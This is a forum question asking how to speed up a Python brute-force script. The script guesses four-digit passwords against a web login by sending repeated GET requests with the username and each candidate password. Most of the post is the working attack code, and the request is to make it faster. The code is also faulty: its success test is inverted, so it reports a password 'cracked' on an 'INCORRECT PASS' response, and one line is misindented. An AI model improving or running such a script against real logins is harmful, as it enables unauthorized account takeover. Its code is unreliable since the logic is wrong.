title: How can I speed up my brute force attack?
body: <p>I want to speed up my brute force code to speed up the process, as it checks a password in two seconds</p>
  <pre class="lang-py prettyprint-override"><code>import requests
  import colorama
  from colorama import Fore
  
  colorama.init()
  print(Fore.CYAN)
  username = input(&quot;[/] Enter Username: &quot;)
      
  def login(pwd):
      r = requests.get(&quot;https://domain.test.com/login/actions.php?action=0000&amp;login=&quot;+username+&quot;&amp;password=&quot;+pwd)
      if &quot;INCORRECT PASS&quot; in r.text:
          return True
      return False
      
  i = 100
  while i &lt; 9999:
      pwd = &quot;%04d&quot;%i
      print(Fore.RED + &quot;[-] Password invalid: %s&quot;%pwd)
      try:
          if login(pwd):
              print(Fore.GREEN + &quot;[+] PASSWORD CRACKED: %s&quot;%pwd)
               break
      except:
          pass
      i+=1
  </code></pre>